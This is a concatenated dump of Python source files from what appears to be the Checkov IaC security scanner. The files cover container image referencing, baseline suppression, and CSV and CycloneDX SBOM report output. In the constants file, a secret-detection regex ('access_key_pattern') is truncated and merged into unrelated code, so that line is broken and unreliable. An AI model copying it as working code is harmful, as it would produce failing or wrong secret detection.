definitions: _Definitions, render_variables: bool = True ) -> _LocalGraph: pass def save_graph(self, graph: _LocalGraph) -> LibraryGraph: return self.db_connector.save_graph(graph) def get_reader_endpoint(self) -> LibraryGraph: return self.db_connector.get_reader_endpoint() def get_writer_endpoint(self) -> LibraryGraph: return self.db_connector.get_writer_endpoint() def disconnect_from_db(self) -> None: self.db_connector.disconnect() ================================================ FILE: checkov/common/images/__init__.py ================================================ ================================================ FILE: checkov/common/images/graph/__init__.py ================================================ ================================================ FILE: checkov/common/images/graph/image_referencer_manager.py ================================================ from __future__ import annotations from abc import abstractmethod from typing import TYPE_CHECKING from checkov.common.typing import LibraryGraph if TYPE_CHECKING: from checkov.common.images.image_referencer import Image class GraphImageReferencerManager: __slots__ = ("graph_connector",) def __init__(self, graph_connector: LibraryGraph) -> None: self.graph_connector = graph_connector @abstractmethod def extract_images_from_resources(self) -> list[Image]: pass ================================================ FILE: checkov/common/images/graph/image_referencer_provider.py ================================================ from __future__ import annotations import os import typing from abc import abstractmethod from typing import TYPE_CHECKING, Callable, Any, Mapping, Generator from checkov.common.graph.graph_builder import CustomAttributes from checkov.common.images.image_referencer import Image from checkov.common.typing import LibraryGraph, _RustworkxGraph if TYPE_CHECKING: import networkx from typing_extensions import TypeAlias _ExtractImagesCallableAlias: TypeAlias = Callable[["dict[str, Any]"], "list[str]"] class GraphImageReferencerProvider: __slots__ = ("graph_connector", "supported_resource_types", "graph_framework") def __init__(self, graph_connector: LibraryGraph, supported_resource_types: dict[str, _ExtractImagesCallableAlias] | Mapping[ str, _ExtractImagesCallableAlias]): self.graph_connector = graph_connector self.supported_resource_types = supported_resource_types self.graph_framework = os.environ.get('CHECKOV_GRAPH_FRAMEWORK', 'RUSTWORKX') @abstractmethod def extract_images_from_resources(self) -> list[Image]: pass def extract_nodes(self) -> LibraryGraph | None: if self.graph_framework == 'RUSTWORKX': return self.extract_nodes_rustworkx() else: return self.extract_nodes_networkx() def extract_nodes_networkx(self) -> networkx.Graph: if typing.TYPE_CHECKING: self.graph_connector = typing.cast(networkx.Graph, self.graph_connector) resource_nodes = [ node for node, resource_type in self.graph_connector.nodes(data=CustomAttributes.RESOURCE_TYPE) if resource_type and resource_type in self.supported_resource_types ] return self.graph_connector.subgraph(resource_nodes) def extract_nodes_rustworkx(self) -> _RustworkxGraph: resource_nodes = [ index for index, node in self.graph_connector.nodes() if self.resource_type_pred(node, list(self.supported_resource_types)) ] return self.graph_connector.subgraph(resource_nodes) def extract_resource(self, supported_resources_graph: LibraryGraph) -> \ Generator[dict[str, Any], dict[str, Any], dict[str, Any]]: def extract_resource_networkx(graph: networkx.Graph) -> Generator[dict[str, Any], None, None]: for _, resource in graph.nodes(data=True): yield resource def extract_resource_rustworkx(graph: _RustworkxGraph) -> Generator[dict[str, Any], None, None]: for _, resource in graph.nodes(): yield resource graph_resource = None if self.graph_framework == 'NETWORKX': graph_resource = extract_resource_networkx(supported_resources_graph) elif self.graph_framework == 'RUSTWORKX': graph_resource = extract_resource_rustworkx(supported_resources_graph) return graph_resource # type: ignore @staticmethod def resource_type_pred(v: dict[str, Any], resource_types: list[str]) -> bool: return not resource_types or ("resource_type" in v and v["resource_type"] in resource_types) ================================================ FILE: checkov/common/images/image_referencer.py ================================================ from __future__ import annotations import asyncio import logging from abc import abstractmethod from collections.abc import Iterable from pathlib import Path from typing import Any, TYPE_CHECKING, Generic, TypeVar import docker from checkov.common.bridgecrew.vulnerability_scanning.image_scanner import image_scanner from checkov.common.bridgecrew.vulnerability_scanning.integrations.docker_image_scanning import \ docker_image_scanning_integration from checkov.common.output.common import ImageDetails from checkov.common.output.report import Report, CheckType from checkov.common.sca.commons import should_run_scan from checkov.common.sca.output import add_to_report_sca_data, get_license_statuses_async from checkov.common.typing import _LicenseStatus if TYPE_CHECKING: from checkov.common.bridgecrew.platform_integration import BcPlatformIntegration from checkov.runner_filter import RunnerFilter from networkx import DiGraph _Definitions = TypeVar("_Definitions") INVALID_IMAGE_NAME_CHARS = ("[", "{", "(", "<", "$") def fix_related_resource_ids(report: Report | None, tmp_dir: str) -> None: """Remove tmp dir prefix from 'relatedResourceId'""" if report and report.image_cached_results: for cached_result in report.image_cached_results: related_resource_id = cached_result.get("relatedResourceId") if related_resource_id and isinstance(related_resource_id, str): cached_result["relatedResourceId"] = related_resource_id.replace(tmp_dir, "", 1) class Image: def __init__(self, file_path: str, name: str, start_line: int, end_line: int, related_resource_id: str | None = None) -> None: """ :param file_path: example: 'checkov/integration_tests/example_workflow_file/.github/workflows/vulnerable_container.yaml' :param name: example: 'node:14.16' :param image_id: example: 'sha256:6a353e22ce' :param start_line: example: 8 :param end_line: example: 16 """ self.end_line = end_line self.start_line = start_line self.name = name self.file_path = file_path self.related_resource_id = related_resource_id def __eq__(self, other: Any) -> bool: if isinstance(other, self.__class__): return self.__dict__ == other.__dict__ return False def __ne__(self, other: Any) -> bool: return not self.__eq__(other) def __hash__(self) -> int: return hash((self.file_path, self.name, self.start_line, self.end_line)) class ImageReferencer: @abstractmethod def is_workflow_file(self, file_path: str) -> bool: """ :param file_path: path of file to validate if it is a file that contains might images (example: CI workflow file) :return: True if contains images """ return False @abstractmethod def get_images(self, file_path: str) -> Iterable[Image]: """ Get container images mentioned in a file :param file_path: File to be inspected :return: List of container images objects mentioned in the file. """ return [] @staticmethod def inspect(image_name: str) -> str: """ :param image_name: name of the image to be inspected locally using a "docker inspect X". If image does not exist try to pull it locally. :return: short image id sha that is inspected. In case inspect has failed None will be returned. """ try: logging.info("Inspecting docker image {}".format(image_name)) client = docker.from_env() try: image = client.images.get(image_name) except Exception: image = client.images.pull(image_name) return image.short_id return image.short_id except Exception: logging.debug(f"failed to pull docker image={image_name}", exc_info=True) return "" def is_valid_public_image_name(image_name: str) -> bool: if image_name.startswith('localhost'): return False if any(char in image_name for char in INVALID_IMAGE_NAME_CHARS): return False if image_name.count(":") > 1: # if there is more than one colon, then it is typically a private registry with port reference return False return True class ImageReferencerMixin(Generic[_Definitions]): """Mixin class to simplify image reference search""" def check_container_image_references( self, root_path: str | Path | None, runner_filter: RunnerFilter, graph_connector: DiGraph | None = None, definitions: _Definitions | None = None, definitions_raw: dict[str, list[tuple[int, str]]] | None = None, ) -> Report | None: """Tries to find image references in graph based IaC templates""" from checkov.common.bridgecrew.platform_integration import bc_integration # skip complete run, if flag '--check' was used without a CVE check ID if not should_run_scan(runner_filter.checks): return None images = self.extract_images(graph_connector=graph_connector, definitions=definitions, definitions_raw=definitions_raw) if not images: return None logging.info(f"Found {len(images)} image references {[image.name for image in images]}") report = Report(CheckType.SCA_IMAGE) root_path = Path(root_path) if root_path else None check_class = f"{image_scanner.__module__}.{image_scanner.__class__.__qualname__}" report_type = CheckType.SCA_IMAGE image_names_to_query = list(set(filter(lambda i: is_valid_public_image_name(i), map(lambda i: i.name, images)))) results = asyncio.run(self._fetch_image_results_async(image_names_to_query)) license_statuses_by_image = asyncio.run(self._fetch_licenses_per_image(image_names_to_query, results)) for image in images: try: results_index = image_names_to_query.index(image.name) cached_results = results[results_index] except ValueError: cached_results = {} file_line_range = [image.start_line, image.end_line] self._add_image_records( report=report, root_path=root_path, check_class=check_class, dockerfile_path=image.file_path, image=image, runner_filter=runner_filter, report_type=report_type, bc_integration=bc_integration, cached_results=cached_results, license_statuses=license_statuses_by_image.get(image.name) or [], file_line_range=file_line_range if None not in file_line_range else None ) return report @staticmethod async def _fetch_image_results_async(image_names_to_query: list[str]) -> list[dict[str, Any]]: """ This is an async implementation of `_fetch_image_results`. The only change is we're getting a session as an input, and the asyncio behavior is managed in the calling method. """ return await asyncio.gather(*[ image_scanner.get_scan_results_from_cache_async(f"image:{i}") for i in image_names_to_query ]) def _add_image_records( self, report: Report, root_path: Path | None, check_class: str, dockerfile_path: str, image: Image, runner_filter: RunnerFilter, report_type: str, bc_integration: BcPlatformIntegration, cached_results: dict[str, Any], license_statuses: list[_LicenseStatus], file_line_range: list[int] | None = None ) -> None: """Adds an image record to the given report, if possible""" if cached_results: logging.info(f"Found cached scan results of image {image.name}") image_scanning_report: dict[str, Any] = docker_image_scanning_integration.create_report( twistcli_scan_result=cached_results, bc_platform_integration=bc_integration, file_path=dockerfile_path, file_content=f'image: {image.name}', docker_image_name=image.name, related_resource_id=image.related_resource_id, root_folder=root_path, error_lines=file_line_range ) report.image_cached_results.append(image_scanning_report) result = cached_results.get("results", [{}])[0] image_id = self._extract_image_short_id(result) image_details = self._get_image_details_from_twistcli_result(scan_result=result, image_id=image_id) dockerfile_rel_path = dockerfile_path if root_path: try: dockerfile_rel_path = str(Path(dockerfile_path).relative_to(root_path)) except ValueError: # Path.is_relative_to() was implemented in Python 3.9 pass rootless_file_path = dockerfile_rel_path.replace(Path(dockerfile_rel_path).anchor, "", 1) rootless_file_path_to_report = f"{rootless_file_path} ({image.name} lines:{image.start_line}-" \ f"{image.end_line} ({image_id}))" self._add_vulnerability_records( report=report, result=result, check_class=check_class, dockerfile_path=dockerfile_path, rootless_file_path=rootless_file_path_to_report, image_details=image_details, runner_filter=runner_filter, report_type=report_type, license_statuses=license_statuses, file_line_range=file_line_range ) else: logging.info(f"No cache hit for image {image.name}") @staticmethod def _extract_image_short_id(scan_result: dict[str, Any]) -> str: """Extracts a shortened version of the image ID from the scan result""" if "id" not in scan_result: return "sha256:unknown" image_id: str = scan_result["id"] if image_id.startswith("sha256:"): return image_id[:17] return image_id[:10] @staticmethod def _get_image_details_from_twistcli_result(scan_result: dict[str, Any], image_id: str) -> ImageDetails: """Extracts the image detaisl from a twistcli scan result""" image_packages = scan_result.get("packages", []) image_package_types = {f'{package["name"]}@{package["version"]}': package["type"] for package in image_packages} return ImageDetails( distro=scan_result.get("distro", ""), distro_release=scan_result.get("distroRelease", ""), package_types=image_package_types, image_id=image_id, ) @staticmethod def _add_vulnerability_records( report: Report, result: dict[str, Any], check_class: str, dockerfile_path: str, rootless_file_path: str, image_details: ImageDetails | None, license_statuses: list[_LicenseStatus], runner_filter: RunnerFilter, report_type: str, file_line_range: list[int] | None = None ) -> None: vulnerabilities = result.get("vulnerabilities", []) packages = result.get("packages", []) add_to_report_sca_data( report=report, check_class=check_class, scanned_file_path=dockerfile_path, rootless_file_path=rootless_file_path, runner_filter=runner_filter, vulnerabilities=vulnerabilities, packages=packages, license_statuses=license_statuses, sca_details=image_details, report_type=report_type, file_line_range=file_line_range ) @abstractmethod def extract_images( self, graph_connector: DiGraph | None = None, definitions: _Definitions | None = None, definitions_raw: dict[str, list[tuple[int, str]]] | None = None ) -> list[Image]: """Tries to find image references in the graph or supported resource""" pass @staticmethod async def _fetch_licenses_per_image(image_names: list[str], image_results: list[dict[str, Any]]) \ -> dict[str, list[_LicenseStatus]]: merged_result: dict[str, list[_LicenseStatus]] = {} license_results = await asyncio.gather(*[ get_license_statuses_async(result['results'][0].get('packages') or [], image_names[i]) for i, result in enumerate(image_results) if "results" in result and result["results"] ]) merged_result.update({r['image_name']: r['licenses'] for r in license_results}) return merged_result ================================================ FILE: checkov/common/images/workflow/__init__.py ================================================ ================================================ FILE: checkov/common/images/workflow/image_referencer_manager.py ================================================ from __future__ import annotations from checkov.common.images.workflow.image_referencer_provider import WorkflowImageReferencerProvider from typing import Any, TYPE_CHECKING if TYPE_CHECKING: from checkov.common.images.image_referencer import Image class WorkflowImageReferencerManager: __slots__ = ("workflow_config", "file_path", "provider") def __init__(self, workflow_config: dict[str, Any], file_path: str, provider: WorkflowImageReferencerProvider): self.workflow_config = workflow_config self.file_path = file_path self.provider = provider def extract_images_from_workflow(self) -> list[Image]: images: list[Image] = self.provider.extract_images_from_workflow() return images ================================================ FILE: checkov/common/images/workflow/image_referencer_provider.py ================================================ from __future__ import annotations from abc import abstractmethod from typing import Any from checkov.common.images.image_referencer import Image from checkov.common.util.consts import START_LINE, END_LINE class WorkflowImageReferencerProvider: def __init__(self, workflow_config: dict[str, Any], file_path: str): self.workflow_config = workflow_config self.file_path = file_path @staticmethod def _get_start_end_lines(entity: dict[str, Any]) -> tuple[int, int]: return entity.get(START_LINE, 0), entity.get(END_LINE, 0) @abstractmethod def extract_images_from_workflow(self) -> list[Image]: pass ================================================ FILE: checkov/common/logger_streams.py ================================================ import shutil import sys from io import StringIO from typing import Dict class LoggerStreams: def __init__(self) -> None: self._streams: Dict[str, StringIO] = {} def add_stream(self, name: str, stream: StringIO) -> None: self._streams[name] = stream def get_streams(self) -> Dict[str, StringIO]: return self._streams def print_to_files(self) -> None: for key, value in self._streams.items(): with open(f'./checkov_debug_{key}.log', 'w') as fp: value.seek(0) shutil.copyfileobj(value, fp) def print_to_console(self) -> None: for key, value in self._streams.items(): print('----') print(f'Logger of {key} start') print(value.getvalue(), file=sys.stderr) logger_streams = LoggerStreams() ================================================ FILE: checkov/common/models/__init__.py ================================================ ================================================ FILE: checkov/common/models/consts.py ================================================ import re from checkov.common.sast.consts import SastLanguages SUPPORTED_FILE_EXTENSIONS = [".tf", ".yml", ".yaml", ".json", ".template", ".bicep", ".hcl"] SUPPORTED_PACKAGE_FILES = { "bower.json", "build.gradle", "build.gradle.kts", "go.sum", "gradle.properties", "METADATA", "npm-shrinkwrap.json", "package.json", "package-lock.json", "pom.xml", "requirements.txt", "Pipfile", "Pipfile.lock", } SUPPORTED_FILES = SUPPORTED_PACKAGE_FILES.union({"Dockerfile"}) DEPENDENCY_TREE_SUPPORTED_FILES = {"yarn.lock", "Gemfile", "Gemfile.lock", "go.mod", "paket.dependencies", "paket.lock", "packages.config", "composer.json", "composer.lock"} SCANNABLE_PACKAGE_FILES_EXTENSIONS = {".csproj"} SCANNABLE_PACKAGE_FILES = SUPPORTED_PACKAGE_FILES | DEPENDENCY_TREE_SUPPORTED_FILES SAST_SUPPORTED_FILE_EXTENSIONS = { SastLanguages.JAVA: ['.java'], SastLanguages.JAVASCRIPT: ['.js'], SastLanguages.TYPESCRIPT: ['.ts'], SastLanguages.PYTHON: ['.py'], SastLanguages.GOLANG: ['.go'] } ANY_VALUE = "CKV_ANY" DOCKER_IMAGE_REGEX = re.compile(r'(?:[^\s\/]+\/)?([^\s:]+):?([^\s]*)') access_key_pattern = re.compile("(? str: # needed, because of a Python 3.11 change return self.value ================================================ FILE: checkov/common/output/__init__.py ================================================ ================================================ FILE: checkov/common/output/baseline.py ================================================ from __future__ import annotations import json from collections import defaultdict from operator import itemgetter from checkov.common.models.enums import CheckResult from typing import Any, TYPE_CHECKING if TYPE_CHECKING: from checkov.common.output.record import Record from checkov.common.output.report import Report from checkov.common.typing import _BaselineFinding, _BaselineFailedChecks class Baseline: def __init__(self, output_skipped: bool = False) -> None: self.path = "" self.path_failed_checks_map: dict[str, list[_BaselineFinding]] = defaultdict(list) self.failed_checks: list[_BaselineFailedChecks] = [] self.output_skipped = output_skipped def add_findings_from_report(self, report: Report) -> None: for check in report.failed_checks: try: existing = next( x for x in self.path_failed_checks_map[check.file_path] if x["resource"] == check.resource ) except StopIteration: existing = {"resource": check.resource, "check_ids": []} self.path_failed_checks_map[check.file_path].append(existing) existing["check_ids"].append(check.check_id) existing["check_ids"].sort() # Sort the check IDs to be nicer to the eye def to_dict(self) -> dict[str, Any]: """ The output of this class needs to be very explicit, hence the following structure of the dict: { "failed_checks": [ { "file": "path/to/file", "findings: [ { "resource": "aws_s3_bucket.this", "check_ids": [ "CKV_AWS_1", "CKV_AWS_2", "CKV_AWS_3" ] } ] } ] } """ failed_checks_list = [] for file, findings in self.path_failed_checks_map.items(): formatted_findings = [] for finding in findings: formatted_findings.append({"resource": finding["resource"], "check_ids": finding["check_ids"]}) sorted_findings = sorted(formatted_findings, key=itemgetter("resource")) failed_checks_list.append({"file": file, "findings": sorted_findings}) resp = {"failed_checks": sorted(failed_checks_list, key=itemgetter("file"))} return resp def compare_and_reduce_reports(self, scan_reports: list[Report]) -> None: for scan_report in scan_reports: scan_report.passed_checks = [ check for check in scan_report.passed_checks if self._is_check_in_baseline(check) ] scan_report.skipped_checks = [ check for check in scan_report.skipped_checks if self._is_check_in_baseline(check) ] if self.output_skipped: for check in scan_report.failed_checks: if self._is_check_in_baseline(check): check.check_result["suppress_comment"] = "baseline-skipped" check.check_result["result"] = CheckResult.SKIPPED scan_report.skipped_checks.append(check) scan_report.failed_checks = [ check for check in scan_report.failed_checks if not self._is_check_in_baseline(check) ] def _is_check_in_baseline(self, check: Record) -> bool: failed_check_id = check.check_id failed_check_resource = check.resource for baseline_failed_check in self.failed_checks: for finding in baseline_failed_check["findings"]: if finding["resource"] == failed_check_resource and failed_check_id in finding["check_ids"]: return True return False def from_json(self, file_path: str) -> None: self.path = file_path with open(file_path, "r") as f: baseline_raw = json.load(f) self.failed_checks = baseline_raw.get("failed_checks", {}) ================================================ FILE: checkov/common/output/common.py ================================================ from __future__ import annotations from dataclasses import dataclass, field from checkov.common.bridgecrew.severities import Severities from checkov.common.output.record import DEFAULT_SEVERITY UNKNOWN_LICENSE = 'Unknown' @dataclass class SCADetails: package_types: dict[str, str] = field(default_factory=dict) @dataclass class ImageDetails(SCADetails): distro: str = '' distro_release: str = '' image_id: str = '' name: str | None = '' related_resource_id: str | None = '' def is_raw_formatted(licenses: str) -> bool: return '","' in licenses def format_licenses_to_string(licenses_lst: list[str]) -> str: if isinstance(licenses_lst, list): if len(licenses_lst) > 1: joined_str = '","'.join(licenses_lst) return f'"{joined_str}"' elif licenses_lst: return licenses_lst[0] return UNKNOWN_LICENSE def format_string_to_licenses(licenses_str: str) -> list[str]: if licenses_str == UNKNOWN_LICENSE: return [licenses_str] elif licenses_str: # remove first and last quotes licenses_str = licenses_str[1:-1] if licenses_str.startswith('"') and licenses_str.endswith( '"') else licenses_str license_lst = licenses_str.split('","') return license_lst else: return [] def compare_table_items_severity(table_item: dict[str, str]) -> int: severity = (table_item.get("severity") or DEFAULT_SEVERITY).upper() return Severities[severity].level def validate_lines(lines: list[int] | None) -> list[int] | None: if lines and lines[0] > 0 and lines[1] > 0: return lines return None def get_package_name_with_lines(package_name: str, lines: list[int] | None) -> str: if lines and validate_lines(lines): return f"{package_name} [{lines[0]}-{lines[1]}]" return package_name def get_reachability_output_indication(cve_reachability_risk_factors: dict[str, bool]) -> str: if cve_reachability_risk_factors.get("ReachableFunction"): return "Reachable Function" if cve_reachability_risk_factors.get("IsUsed"): return "Package Used" return "" ================================================ FILE: checkov/common/output/csv.py ================================================ from __future__ import annotations import csv import itertools import logging import os from datetime import datetime from typing import Any, TYPE_CHECKING from checkov.common.models.enums import CheckResult from checkov.common.output.common import format_string_to_licenses, is_raw_formatted, validate_lines from checkov.common.output.record import Record, SCA_PACKAGE_SCAN_CHECK_NAME from checkov.common.output.report import Report, CheckType from checkov.common.sca.commons import get_fix_version, UNFIXABLE_VERSION if TYPE_CHECKING: from checkov.common.output.extra_resource import ExtraResource date_now = f'{datetime.now().strftime("%Y%m%d-%H%M%S")}' FILE_NAME_OSS_PACKAGES = f"{date_now}_oss_packages.csv" HEADER_OSS_PACKAGES = [ "Package", "Version", "Path", "Line(s)", "Git Org", "Git Repository", "Vulnerability", "Severity", "Description", "Licenses", "Fix Version", "Registry URL", "Root Package", "Root Version" ] HEADER_CONTAINER_IMAGE = HEADER_OSS_PACKAGES FILE_NAME_CONTAINER_IMAGES = f"{date_now}_container_images.csv" FILE_NAME_IAC = f"{date_now}_iac.csv" HEADER_IAC = ["Resource", "Path", "Git Org", "Git Repository", "Misconfigurations", "Severity", "Policy title", "Guideline"] CTA_NO_API_KEY = "SCA, image and runtime findings are only available with a Prisma Cloud subscription." class CSVSBOM: def __init__(self) -> None: self.iac_rows: list[dict[str, Any]] = [] self.container_rows: list[dict[str, Any]] = [] self.package_rows: list[dict[str, Any]] = [] self.iac_rows_have_details: bool = False self.iac_resource_cache: set[str] = set() # used to check, if a resource was already added def add_report(self, report: Report, git_org: str, git_repository: str) -> None: if report.check_type in (CheckType.SCA_PACKAGE, CheckType.SCA_IMAGE): for record in itertools.chain(report.failed_checks, report.passed_checks, report.skipped_checks): if record.check_name == SCA_PACKAGE_SCAN_CHECK_NAME: self.add_sca_package_resources(resource=record, git_org=git_org, git_repository=git_repository, check_type=report.check_type) for resource in sorted(report.extra_resources): self.add_sca_package_resources(resource=resource, git_org=git_org, git_repository=git_repository, check_type=report.check_type) else: for record in itertools.chain(report.failed_checks, report.passed_checks, report.skipped_checks): self.add_iac_resources(resource=record, git_org=git_org, git_repository=git_repository) for resource in sorted(report.extra_resources): self.add_iac_resources(resource=resource, git_org=git_org, git_repository=git_repository) def add_sca_package_resources(self, resource: Record | ExtraResource, git_org: str, git_repository: str, check_type: str) -> None: if not resource.vulnerability_details: # this shouldn't happen logging.error(f"Resource {resource.resource} doesn't have 'vulnerability_details' set") return severity = None if isinstance(resource, Record) and resource.severity is not None: # ExtraResource don't have a CVE/Severity severity = resource.severity.name csv_table = { CheckType.SCA_PACKAGE: self.package_rows, CheckType.SCA_IMAGE: self.container_rows } lines = resource.file_line_range lines = validate_lines(lines) fix_version = self.get_fix_version_overview(resource.vulnerability_details) csv_table[check_type].append( { "Package": resource.vulnerability_details["package_name"], "Version": resource.vulnerability_details["package_version"], "Path": resource.file_path, "Line(s)": lines, "Git Org": git_org, "Git Repository": git_repository, "Vulnerability": resource.vulnerability_details.get("id"), "Severity": severity, "Description": resource.vulnerability_details.get("description"), "Licenses": resource.vulnerability_details.get("licenses"), "Fix Version": fix_version, "Registry URL": resource.vulnerability_details.get("package_registry"), "Root Package": resource.vulnerability_details.get("root_package_name"), "Root Version": resource.vulnerability_details.get("root_package_version") } ) def get_fix_version_overview(self, vulnerability_details: dict[str, Any]) -> str: is_private_fix = vulnerability_details.get("is_private_fix") public_fix_version_suffix = " (Public)" if is_private_fix is False else "" fix_version: str = get_fix_version(vulnerability_details) return fix_version + public_fix_version_suffix if fix_version and fix_version != UNFIXABLE_VERSION else fix_version def add_iac_resources(self, resource: Record | ExtraResource, git_org: str, git_repository: str) -> None: resource_id = f"{git_org}/{git_repository}/{resource.file_path}/{resource.resource}" misconfig = None severity = None check_name = None guideline = None if isinstance(resource, Record) and resource.check_result["result"] == CheckResult.FAILED: # only failed resources should be added with their misconfiguration misconfig = resource.check_id if resource.severity is not None: severity = resource.severity.name check_name = resource.check_name guideline = resource.guideline elif resource_id in self.iac_resource_cache: # IaC resources shouldn't be added multiple times, if they don't have any misconfiguration return row = { "Resource": resource.resource, "Path": resource.file_path, "Git Org": git_org, "Git Repository": git_repository, "Misconfigurations": misconfig, "Severity": severity, "Policy title": check_name, "Guideline": guideline } if isinstance(resource, Record) and resource.details: self.iac_rows_have_details = True row["Details"] = "|".join(resource.details) self.iac_rows.append(row) self.iac_resource_cache.add(resource_id) def persist_report(self, is_api_key: bool, output_path: str = "") -> None: output_path = output_path or "" self.persist_report_iac(file_name=FILE_NAME_IAC, output_path=output_path) self.persist_report_container_images( file_name=FILE_NAME_CONTAINER_IMAGES, is_api_key=is_api_key, output_path=output_path, ) self.persist_report_oss_packages( file_name=FILE_NAME_OSS_PACKAGES, is_api_key=is_api_key, output_path=output_path, ) def persist_report_iac(self, file_name: str, output_path: str = "") -> None: CSVSBOM.write_section( file=os.path.join(output_path, file_name), header=[*HEADER_IAC, "Details"] if self.iac_rows_have_details else HEADER_IAC, rows=self.iac_rows, is_api_key=True, ) def persist_report_container_images(self, file_name: str, is_api_key: bool, output_path: str = "") -> None: CSVSBOM.write_section( file=os.path.join(output_path, file_name), header=HEADER_CONTAINER_IMAGE, rows=self.container_rows, is_api_key=is_api_key, ) def persist_report_oss_packages(self, file_name: str, is_api_key: bool, output_path: str = "") -> None: CSVSBOM.write_section( file=os.path.join(output_path, file_name), header=HEADER_OSS_PACKAGES, rows=self.package_rows, is_api_key=is_api_key, ) @staticmethod def arrange_rows(rows: list[dict[str, Any]]) -> None: # we search for formatted rows and convert them back into csv formatted file. for row in rows: for key, value in row.items(): val = str(value) if is_raw_formatted(val): val = ', '.join(format_string_to_licenses(val)) val = val[1:-1] if val.startswith('"') and val.endswith('"') else val row[key] = '' if val == 'None' else val @staticmethod def write_section(file: str, header: list[str], rows: list[dict[str, Any]], is_api_key: bool) -> None: CSVSBOM.arrange_rows(rows) with open(file, "w", newline="") as f: logging.info(f"Persisting SBOM to {os.path.abspath(file)}") if is_api_key: dict_writer = csv.DictWriter(f, fieldnames=header) dict_writer.writeheader() dict_writer.writerows(rows) else: writer = csv.writer(f) writer.writerow(header) writer.writerow([CTA_NO_API_KEY]) def get_csv_output_packages(self, check_type: str) -> str: # header csv_output = ','.join(HEADER_OSS_PACKAGES) + '\n' csv_table = { CheckType.SCA_PACKAGE: self.package_rows, CheckType.SCA_IMAGE: self.container_rows } for row in csv_table[check_type]: for header in HEADER_OSS_PACKAGES: field = row[header] if row[header] else '' if header == 'Package': csv_output += f'\"{field}\"' elif header == 'Description': csv_output += f',\"{field}\"' elif header == 'Licenses': field = str(field).replace('","', ", ") field = field[1:-1] if field.startswith('"') and field.endswith('"') else field csv_output += f',\"{field}\"' else: csv_output += f',{field}' csv_output += '\n' return csv_output ================================================ FILE: checkov/common/output/cyclonedx.py ================================================ from __future__ import annotations import itertools import logging import os from datetime import datetime from hashlib import sha1 from importlib.metadata import version as meta_version from pathlib import Path from typing import TYPE_CHECKING, cast, Any from cyclonedx.model import ( XsUri, ExternalReference, ExternalReferenceType, HashAlgorithm, HashType, Property, Tool, ) from cyclonedx.model.bom import Bom from cyclonedx.model.component import Component, ComponentType from cyclonedx.model.license import DisjunctiveLicense from cyclonedx.model.vulnerability import ( Vulnerability, VulnerabilityAdvisory, BomTarget, VulnerabilitySource, VulnerabilityRating, VulnerabilityScoreSource, VulnerabilitySeverity, ) from cyclonedx.schema import OutputFormat from cyclonedx.output import make_outputter from packageurl import PackageURL from checkov.common.output.common import ImageDetails, format_string_to_licenses, validate_lines from checkov.common.output.report import CheckType from checkov.common.output.cyclonedx_consts import ( SCA_CHECKTYPES, PURL_TYPE_MAVEN, DEFAULT_CYCLONE_SCHEMA_VERSION, CYCLONE_SCHEMA_VERSION, FILE_NAME_TO_PURL_TYPE, IMAGE_DISTRO_TO_PURL_TYPE, TWISTCLI_PACKAGE_TYPE_TO_PURL_TYPE, BC_SEVERITY_TO_CYCLONEDX_LEVEL, ) from checkov.common.output.record import SCA_PACKAGE_SCAN_CHECK_NAME from checkov.common.sca.commons import UNFIXABLE_VERSION, get_fix_version if TYPE_CHECKING: from checkov.common.output.extra_resource import ExtraResource from checkov.common.output.record import Record from checkov.common.output.report import Report class CycloneDX: def __init__(self, reports: list[Report], repo_id: str | None, export_iac_only: bool = False) -> None: self.repo_id = f"{repo_id}/" if repo_id is not None else "" self.reports = reports self.export_iac_only = export_iac_only self.bom = self.create_bom() def create_bom(self) -> Bom: bom = Bom() try: version = meta_version("checkov") except Exception: # Unable to determine current version of 'checkov' version = "UNKNOWN" this_tool = Tool(vendor="bridgecrew", name="checkov", version=version) self.update_tool_external_references(this_tool) bom.metadata.tools.add(this_tool) for report in self.reports: if report.check_type in SCA_CHECKTYPES and self.export_iac_only: continue # if the report is of SCA_IMAGE type, we should add to the report one image component per image is_image_report = report.check_type == CheckType.SCA_IMAGE image_resources_for_image_components = {} for check in itertools.chain(report.passed_checks, report.skipped_checks): if report.check_type in SCA_CHECKTYPES and check.check_name != SCA_PACKAGE_SCAN_CHECK_NAME: continue component = self.create_component(check_type=report.check_type, resource=check) if not bom.has_component(component=component): bom.components.add(component) if is_image_report and check.file_path not in image_resources_for_image_components: image_resources_for_image_components[check.file_path] = check for check in report.failed_checks: if report.check_type in SCA_CHECKTYPES and check.check_name != SCA_PACKAGE_SCAN_CHECK_NAME: continue component = self.create_component(check_type=report.check_type, resource=check) if existing_component := bom.get_component_by_purl(purl=component.purl): component = existing_component else: bom.components.add(component) vulnerability = self.create_vulnerability( check_type=report.check_type, resource=check, component=component ) bom.vulnerabilities.add(vulnerability) if is_image_report: if check.file_path not in image_resources_for_image_components: image_resources_for_image_components[check.file_path] = check for resource in sorted(report.extra_resources): component = self.create_component(check_type=report.check_type, resource=resource) if not bom.get_component_by_purl(purl=component.purl): bom.components.add(component) if is_image_report: for image_resource in image_resources_for_image_components: self.create_image_component(resource=image_resources_for_image_components[image_resource], bom=bom) return bom def create_component(self, check_type: str, resource: Record | ExtraResource) -> Component: """Creates a component""" # purl structure conventions: https://github.com/package-url/purl-spec/blob/master/PURL-TYPES.rst if check_type in SCA_CHECKTYPES: component = self.create_library_component(check_type=check_type, resource=resource) else: component = self.create_application_component(check_type=check_type, resource=resource) return component def create_application_component(self, check_type: str, resource: Record | ExtraResource) -> Component: """Creates an application component Ex. aws_s3_bucket.example sha1:c9b9b2eba0a7d4ccb66096df77e1a6715ea1ae85 c9b9b2eba0a7d4ccb66096df77e1a6715ea1ae85 pkg:terraform/cli_repo/pd/main.tf/aws_s3_bucket.example@sha1:c9b9b2eba0a7d4ccb66096df77e1a6715ea1ae85 """ sha1_hash = file_sha1sum(filename=resource.file_abs_path) purl = PackageURL( type=check_type, namespace=f"{self.repo_id}/{resource.file_path}", name=resource.resource, version=f"sha1:{sha1_hash}", ) component = Component( bom_ref=str(purl), name=resource.resource, version=f"sha1:{sha1_hash}", hashes=[ HashType( alg=HashAlgorithm.SHA_1, content=sha1_hash, ) ], type=ComponentType.APPLICATION, purl=purl, ) return component def create_library_component(self, resource: Record | ExtraResource, check_type: str) -> Component: """Creates a library component Ex. flask 0.6 pkg:pypi/cli_repo/pd/requirements.txt/flask@0.6 5 6 """ if not resource.vulnerability_details: # this shouldn't happen logging.error(f"Resource {resource.resource} doesn't have 'vulnerability_details' set") return Component(name="unknown") qualifiers = None file_name = Path(resource.file_path).name if check_type is CheckType.SCA_IMAGE: package_type = resource.vulnerability_details['package_type'] image_distro_name = 